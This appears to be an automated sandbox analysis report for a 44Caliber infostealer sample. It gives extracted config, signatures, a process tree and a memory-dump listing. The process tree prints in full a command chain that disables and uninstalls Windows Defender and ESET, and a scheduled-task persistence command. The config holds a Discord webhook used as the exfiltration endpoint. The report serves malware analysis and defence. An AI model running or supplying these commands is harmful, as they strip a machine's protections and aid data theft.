Analysis
- max time kernel
137s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
28/12/2023, 22:35
General
- Target fd2f11c31192e8efe0eb4b37d1a5e1b6.exe
- Size 9.5MB
- Sample231228-2h2haaacc2
- SHA256 a15c3b6773fa9d8db715f8c557c76c95e8f84db0fa5046ed7a01589bfdc778b5
Malware Config
Extracted
-
44caliber
-
https://discord.com/api/webhooks/868513655556292688/7ViWQKXofSCTi8VWoHEcGeQK61RUEBYfnsE72cu6TJnpHYwlgzbrVI5gQn_jpfUMFoS5
Signatures
- 44Caliber
An open source infostealer written in C#.
- Modifies file permissions 1 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
-
C:\Users\Admin\AppData\Local\Temp\fd2f11c31192e8efe0eb4b37d1a5e1b6.exe"C:\Users\Admin\AppData\Local\Temp\fd2f11c31192e8efe0eb4b37d1a5e1b6.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\InterialoaderNOP.exe"C:\Users\Admin\AppData\Local\Temp\InterialoaderNOP.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Interialoader.exe"C:\Users\Admin\AppData\Local\Temp\Interialoader.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Interia loader.exe"C:\Users\Admin\AppData\Local\Temp\Interia loader.exe"4⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'6⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'6⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $true & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true & powershell -Command Set-MpPreference -DisableScriptScanning $true & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true & powershell -Command Set-MpPreference -DisableIOAVProtection $true & powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled & powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force & powershell -Command Set-MpPreference -MAPSReporting Disabled & powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend & sc config WinDefend start=disabled & sc stop WinDefend & powershell -Command Stop-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'7⤵
-
-
-
-
C:\Users\Admin\AppData\Roaming\Services.exe"C:\Users\Admin\AppData\Roaming\Services.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Insidious.exe"C:\Users\Admin\AppData\Local\Temp\Insidious.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\InteriaVis.exe"C:\Users\Admin\AppData\Local\Temp\InteriaVis.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Config.exe"C:\Users\Admin\AppData\Local\Temp\Config.exe"2⤵
-
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "C:\Users\Admin\AppData\Local\Temp\InteriaVis.exe" org.develnext.jphp.ext.javafx.FXLauncher1⤵
-
C:\Windows\system32\icacls.exeC:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M2⤵
- Modifies file permissions
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Config.exe
Config.exe
Config.exe
Insidious.exe
Insidious.exe
Insidious.exe
Interia loader.exe
Interia loader.exe
Interia loader.exe
InteriaVis.exe
InteriaVis.exe
InteriaVis.exe
Interialoader.exe
Interialoader.exe
Interialoader.exe
InterialoaderNOP.exe
InterialoaderNOP.exe
InterialoaderNOP.exe
__PSScriptPolicyTest_xbw5rdjn.sx5.ps1
Process.txt
sihost64.exe
sihost64.exe
Services.exe
Services.exe
memory/384-80-0x00000000006E0000-0x000000000072A000-memory.dmp
memory/384-291-0x00000000027D0000-0x00000000027E0000-memory.dmp
memory/384-121-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/384-92-0x00000000027D0000-0x00000000027E0000-memory.dmp
memory/792-133-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/792-134-0x00000139D2470000-0x00000139D2480000-memory.dmp
memory/792-170-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/792-147-0x00000139D23C0000-0x00000139D23E2000-memory.dmp
memory/792-145-0x00000139D2470000-0x00000139D2480000-memory.dmp
memory/1368-289-0x0000000000BD0000-0x0000000000BD8000-memory.dmp
memory/1368-328-0x00000000019D0000-0x00000000019E0000-memory.dmp
memory/2276-352-0x000001A4409B0000-0x000001A4409C0000-memory.dmp
memory/2276-350-0x000001A4409B0000-0x000001A4409C0000-memory.dmp
memory/2276-315-0x000001A4409B0000-0x000001A4409C0000-memory.dmp
memory/2276-313-0x000001A4409B0000-0x000001A4409C0000-memory.dmp
memory/2276-379-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/2276-311-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3220-337-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3220-343-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3432-82-0x0000000000400000-0x000000000041C000-memory.dmp
memory/3568-369-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3568-354-0x0000019373DE0000-0x0000019373DF0000-memory.dmp
memory/3568-353-0x0000019373DE0000-0x0000019373DF0000-memory.dmp
memory/3568-389-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3568-380-0x0000019373DE0000-0x0000019373DF0000-memory.dmp
memory/3612-128-0x000002430A1B0000-0x000002430B1B0000-memory.dmp
memory/3612-373-0x000002430A1B0000-0x000002430B1B0000-memory.dmp
memory/3612-153-0x000002430A1B0000-0x000002430B1B0000-memory.dmp
memory/3612-159-0x000002430A1B0000-0x000002430B1B0000-memory.dmp
memory/3612-329-0x0000024308B70000-0x0000024308B71000-memory.dmp
memory/3612-164-0x000002430A1B0000-0x000002430B1B0000-memory.dmp
memory/3612-152-0x000002430A1B0000-0x000002430B1B0000-memory.dmp
memory/3612-375-0x0000024308B70000-0x0000024308B71000-memory.dmp
memory/3612-322-0x0000024308B70000-0x0000024308B71000-memory.dmp
memory/3612-132-0x0000024308B70000-0x0000024308B71000-memory.dmp
memory/3924-44-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3924-45-0x000000001BDB0000-0x000000001BDC0000-memory.dmp
memory/3924-88-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/3924-41-0x0000000000D60000-0x0000000000FB0000-memory.dmp
memory/4040-146-0x000000001C430000-0x000000001C650000-memory.dmp
memory/4040-173-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/4040-85-0x000000001C020000-0x000000001C030000-memory.dmp
memory/4040-84-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/4040-66-0x00000000001A0000-0x00000000003CC000-memory.dmp
memory/4640-21-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/4640-27-0x000000001C350000-0x000000001C360000-memory.dmp
memory/4640-22-0x0000000000CC0000-0x000000000160C000-memory.dmp
memory/4640-87-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/4692-1-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/4692-2-0x00000000038B0000-0x00000000038C0000-memory.dmp
memory/4692-26-0x00007FFB6DAF0000-0x00007FFB6E5B1000-memory.dmp
memory/4692-0-0x0000000000D30000-0x00000000016B4000-memory.dmp